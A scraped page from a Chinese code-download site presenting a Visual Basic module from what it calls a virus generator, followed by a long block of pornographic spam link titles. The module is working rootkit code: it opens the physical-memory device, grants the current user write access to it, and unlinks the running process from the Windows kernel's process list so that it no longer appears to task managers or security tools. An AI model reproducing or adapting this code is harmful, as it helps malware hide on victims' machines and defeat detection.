亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? module3.bas

?? 病毒母代碼生成器
?? BAS
字號:
Attribute VB_Name = "Module3"
'該模塊為隱藏進程模塊
Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Private Const STATUS_ACCESS_DENIED = &HC0000022
Private Const STATUS_INVALID_HANDLE = &HC0000008
Private Const ERROR_SUCCESS = 0&
Private Const SECTION_MAP_WRITE = &H2
Private Const SECTION_MAP_READ = &H4
Private Const READ_CONTROL = &H20000
Private Const WRITE_DAC = &H40000
Private Const NO_INHERITANCE = 0
Private Const DACL_SECURITY_INFORMATION = &H4
Private Type IO_STATUS_BLOCK
Status As Long
Information As Long
End Type
Private Type UNICODE_STRING
Length As Integer
MaximumLength As Integer
Buffer As Long
End Type
Private Const OBJ_INHERIT = &H2
Private Const OBJ_PERMANENT = &H10
Private Const OBJ_EXCLUSIVE = &H20
Private Const OBJ_CASE_INSENSITIVE = &H40
Private Const OBJ_OPENIF = &H80
Private Const OBJ_OPENLINK = &H100
Private Const OBJ_KERNEL_HANDLE = &H200
Private Const OBJ_VALID_ATTRIBUTES = &H3F2
Private Type OBJECT_ATTRIBUTES
Length As Long
RootDirectory As Long
ObjectName As Long
Attributes As Long
SecurityDeor As Long
SecurityQualityOfService As Long
End Type
Private Type ACL
AclRevision As Byte
Sbz1 As Byte
AclSize As Integer
AceCount As Integer
Sbz2 As Integer
End Type
Private Enum ACCESS_MODE
NOT_USED_ACCESS
GRANT_ACCESS
SET_ACCESS
DENY_ACCESS
REVOKE_ACCESS
SET_AUDIT_SUCCESS
SET_AUDIT_FAILURE
End Enum
Private Enum MULTIPLE_TRUSTEE_OPERATION
NO_MULTIPLE_TRUSTEE
TRUSTEE_IS_IMPERSONATE
End Enum

Private Enum TRUSTEE_FORM
TRUSTEE_IS_SID
TRUSTEE_IS_NAME
End Enum

Private Enum TRUSTEE_TYPE
TRUSTEE_IS_UNKNOWN
TRUSTEE_IS_USER
TRUSTEE_IS_GROUP
End Enum

Private Type TRUSTEE
pMultipleTrustee       As Long
MultipleTrusteeOperation   As MULTIPLE_TRUSTEE_OPERATION
TrusteeForm       As TRUSTEE_FORM
TrusteeType       As TRUSTEE_TYPE
ptstrName         As String
End Type

Private Type EXPLICIT_ACCESS
grfAccessPermissions   As Long
grfAccessMode       As ACCESS_MODE
grfInheritance       As Long
TRUSTEE           As TRUSTEE
End Type

Private Type AceArray
List() As EXPLICIT_ACCESS
End Type

Private Enum SE_OBJECT_TYPE
SE_UNKNOWN_OBJECT_TYPE = 0
SE_FILE_OBJECT
SE_SERVICE
SE_PRINTER
SE_REGISTRY_KEY
SE_LMSHARE
SE_KERNEL_OBJECT
SE_WINDOW_OBJECT
SE_DS_OBJECT
SE_DS_OBJECT_ALL
SE_PROVIDER_DEFINED_OBJECT
SE_WMIGUID_OBJECT
End Enum

Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long
Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long
                          
Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long
Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long)
                        
Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)
Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long
Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (LpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Private verinfo As OSVERSIONINFO

Private g_hNtDLL As Long
Private g_pMapPhysicalMemory As Long
Private g_hMPM As Long
Private aByte(3) As Byte

Public Sub HideCurrentProcess()
'在進程列表中隱藏當前應用程序進程

Dim thread As Long, process As Long, fw As Long, bw As Long
Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long

verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
  If verinfo.dwPlatformId = 2 Then
    If verinfo.dwMajorVersion = 5 Then
      Select Case verinfo.dwMinorVersion
        Case 0
          lOffsetFlink = &HA0
          lOffsetBlink = &HA4
          lOffsetPID = &H9C
        Case 1
          lOffsetFlink = &H88
          lOffsetBlink = &H8C
          lOffsetPID = &H84
      End Select
    End If
  End If
End If

If OpenPhysicalMemory <> 0 Then
  thread = GetData(&HFFDFF124)
  process = GetData(thread + &H44)
  fw = GetData(process + lOffsetFlink)
  bw = GetData(process + lOffsetBlink)
  SetData fw + 4, bw
  SetData bw, fw
  CloseHandle g_hMPM
End If
End Sub

Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)
Dim pDacl As Long
Dim pNewDacl As Long
Dim pSD As Long
Dim dwRes As Long
Dim ea As EXPLICIT_ACCESS

GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD
    
ea.grfAccessPermissions = SECTION_MAP_WRITE
ea.grfAccessMode = GRANT_ACCESS
ea.grfInheritance = NO_INHERITANCE
ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar

SetEntriesInAcl 1, ea, pDacl, pNewDacl

SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0
            
CleanUp:
LocalFree pSD
LocalFree pNewDacl
End Sub

Private Function OpenPhysicalMemory() As Long
Dim Status As Long
Dim PhysmemString As UNICODE_STRING
Dim Attributes As OBJECT_ATTRIBUTES

RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")
Attributes.Length = Len(Attributes)
Attributes.RootDirectory = 0
Attributes.ObjectName = VarPtr(PhysmemString)
Attributes.Attributes = 0
Attributes.SecurityDeor = 0
Attributes.SecurityQualityOfService = 0

Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
If Status = STATUS_ACCESS_DENIED Then
  Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)
  SetPhyscialMemorySectionCanBeWrited g_hMPM
  CloseHandle g_hMPM
  Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
End If

Dim lDirectoty As Long
verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
  If verinfo.dwPlatformId = 2 Then
    If verinfo.dwMajorVersion = 5 Then
      Select Case verinfo.dwMinorVersion
        Case 0
          lDirectoty = &H30000
        Case 1
          lDirectoty = &H39000
      End Select
    End If
  End If
End If

If Status = 0 Then
  g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
  If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
End If
End Function

Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
Dim lTemp As Long

VAddr = addr
CopyMemory aByte(0), VAddr, 4
lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))

PGDE = BaseAddress + lTemp * 4
CopyMemory PGDE, ByVal PGDE, 4

If (PGDE And 1) <> 0 Then
  lTemp = PGDE And &H80
  If lTemp <> 0 Then
    PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)
  Else
    PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)
    lTemp = (VAddr And &H3FF000) / (2 ^ 12)
    PTE = PGDE + lTemp * 4
    CopyMemory PTE, ByVal PTE, 4
    
    If (PTE And 1) <> 0 Then
      PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)
      UnmapViewOfFile PGDE
    End If
  End If
End If

LinearToPhys = PAddr
End Function

Private Function GetData(addr As Long) As Long
Dim phys As Long, tmp As Long, ret As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
  ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
  CopyMemory ret, ByVal ret, 4
  
  UnmapViewOfFile tmp
  GetData = ret
End If
End Function

Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
Dim phys As Long, tmp As Long, x As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
  x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
  CopyMemory ByVal x, data, 4
  
  UnmapViewOfFile tmp
  SetData = True
End If
End Function

Private Function ByteArrToLong(inByte() As Byte) As Double
Dim I As Integer
For I = 0 To 3
  ByteArrToLong = ByteArrToLong + inByte(I) * (&H100 ^ I)
Next I
End Function



?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩免费观看高清完整版| 97se亚洲国产综合自在线| 欧美一级在线观看| 麻豆国产91在线播放| 久久免费偷拍视频| 99久久综合精品| 亚洲午夜久久久久中文字幕久| 欧美肥胖老妇做爰| 国产一区二区在线观看免费| 久久精品免视看| 91丨国产丨九色丨pron| 一区二区三区日韩精品| 91精品免费在线观看| 国产麻豆欧美日韩一区| 亚洲天堂av一区| 日韩一卡二卡三卡| 成人在线综合网| 亚洲.国产.中文慕字在线| 欧美成人综合网站| av在线不卡电影| 免费在线看成人av| 国产精品青草综合久久久久99| 91浏览器入口在线观看| 日韩精品午夜视频| 国产精品视频线看| 欧美久久久久久久久久| 从欧美一区二区三区| 亚洲高清一区二区三区| 久久久.com| 欧美精品一级二级三级| 成人动漫视频在线| 日日夜夜免费精品| 成人免费在线播放视频| 欧美一区二区视频在线观看2020 | 午夜精品福利视频网站| 久久久久国产成人精品亚洲午夜| 一本久久精品一区二区| 极品少妇一区二区| 午夜免费久久看| 中文字幕一区二区不卡| 日韩欧美一区二区在线视频| 91麻豆免费在线观看| 狠狠色综合播放一区二区| 亚洲精品乱码久久久久久黑人 | 91九色02白丝porn| 国产成人av一区二区三区在线| 午夜欧美在线一二页| 亚洲手机成人高清视频| 久久久不卡影院| 欧美高清视频一二三区| 日本精品一区二区三区高清| 国产成都精品91一区二区三| 日本系列欧美系列| 亚洲最大的成人av| 国产精品理论片| 久久精品这里都是精品| 日韩一区二区三区av| 欧美日本精品一区二区三区| 91社区在线播放| 波多野洁衣一区| 成人av午夜影院| 国产成人综合在线播放| 精品亚洲成a人在线观看| 奇米四色…亚洲| 爽好久久久欧美精品| 午夜精品免费在线观看| 一区二区三区**美女毛片| 亚洲视频综合在线| 国产精品久久福利| 中文字幕av资源一区| 国产视频视频一区| 久久久久久久综合狠狠综合| 久久久久免费观看| 久久久久久久久免费| 国产清纯在线一区二区www| 久久久久国色av免费看影院| 久久综合色天天久久综合图片| 精品日韩在线观看| 久久众筹精品私拍模特| 久久午夜电影网| 国产午夜精品久久久久久免费视 | 自拍偷自拍亚洲精品播放| ...av二区三区久久精品| 中文字幕中文在线不卡住| 国产精品日韩精品欧美在线| 亚洲欧洲在线观看av| 亚洲免费资源在线播放| 一区二区三区毛片| 日日噜噜夜夜狠狠视频欧美人| 日韩—二三区免费观看av| 精品一区二区三区日韩| 风流少妇一区二区| 91蜜桃在线免费视频| 欧美日韩黄色一区二区| 日韩视频123| 国产婷婷色一区二区三区四区 | 久久久亚洲午夜电影| 国产清纯美女被跳蛋高潮一区二区久久w| 久久久国产一区二区三区四区小说| 精品日韩av一区二区| 欧美国产日韩亚洲一区| 一区二区三区在线视频免费| 日本三级亚洲精品| 成人看片黄a免费看在线| 色综合久久中文综合久久牛| 欧美色中文字幕| 久久综合狠狠综合久久综合88| 中文av一区二区| 亚洲电影一级片| 国产精品123| 欧美亚洲一区二区在线| 91精品国产综合久久精品麻豆| 久久伊99综合婷婷久久伊| 综合激情成人伊人| 麻豆精品久久久| 色综合网站在线| 欧美xxxxxxxxx| 一区二区三区高清在线| 激情五月婷婷综合| 在线看不卡av| 欧美精品一区男女天堂| 亚洲激情自拍偷拍| 亚洲免费伊人电影| 精品亚洲aⅴ乱码一区二区三区| 91色婷婷久久久久合中文| 欧美成人一区二区| 亚洲大片免费看| 不卡的电影网站| 欧美一级久久久| 亚洲一线二线三线久久久| 国产 日韩 欧美大片| 欧美一区三区四区| 亚洲自拍都市欧美小说| 成人黄色大片在线观看| 欧美成人一区二区| 亚洲一卡二卡三卡四卡无卡久久| 国产福利一区在线| 5566中文字幕一区二区电影| 亚洲欧美日韩人成在线播放| 国产专区欧美精品| 欧美精品亚洲二区| 一区二区三区久久| 99精品视频免费在线观看| www国产精品av| 日韩黄色在线观看| 91国偷自产一区二区三区观看| 国产视频一区二区在线| 精品无码三级在线观看视频| 欧美精品99久久久**| 亚洲电影中文字幕在线观看| av爱爱亚洲一区| 国产精品成人一区二区艾草| 国产一区二区电影| 日韩欧美中文字幕一区| 日日摸夜夜添夜夜添国产精品| 色偷偷一区二区三区| 亚洲国产电影在线观看| 国产麻豆精品在线观看| www国产亚洲精品久久麻豆| 精品综合久久久久久8888| 欧美一卡2卡三卡4卡5免费| 香蕉影视欧美成人| 欧美精品成人一区二区三区四区| 亚洲高清不卡在线观看| 欧美色图在线观看| 亚洲成人动漫av| 欧美日韩国产天堂| 午夜精品久久久久久久久| 欧美精品日韩精品| 日日夜夜精品视频免费| 91精品黄色片免费大全| 日韩成人dvd| 91精品一区二区三区在线观看| 丝袜美腿高跟呻吟高潮一区| 制服.丝袜.亚洲.另类.中文| 老司机一区二区| 337p日本欧洲亚洲大胆色噜噜| 精品一区二区在线视频| 久久精品综合网| 91视频精品在这里| 亚洲第一福利一区| 日韩写真欧美这视频| 国产一区二区三区| 国产精品美女一区二区三区 | 91在线高清观看| 亚洲欧美韩国综合色| 欧美在线一二三四区| 蜜臀91精品一区二区三区| 欧美成人一级视频| 床上的激情91.| 亚洲一区二区视频| 91精品视频网| 高清shemale亚洲人妖| 亚洲男人天堂av网| 日韩欧美黄色影院| 成人午夜激情在线| 亚洲永久精品大片| www国产精品av| 在线一区二区三区四区五区 | 国产午夜三级一区二区三|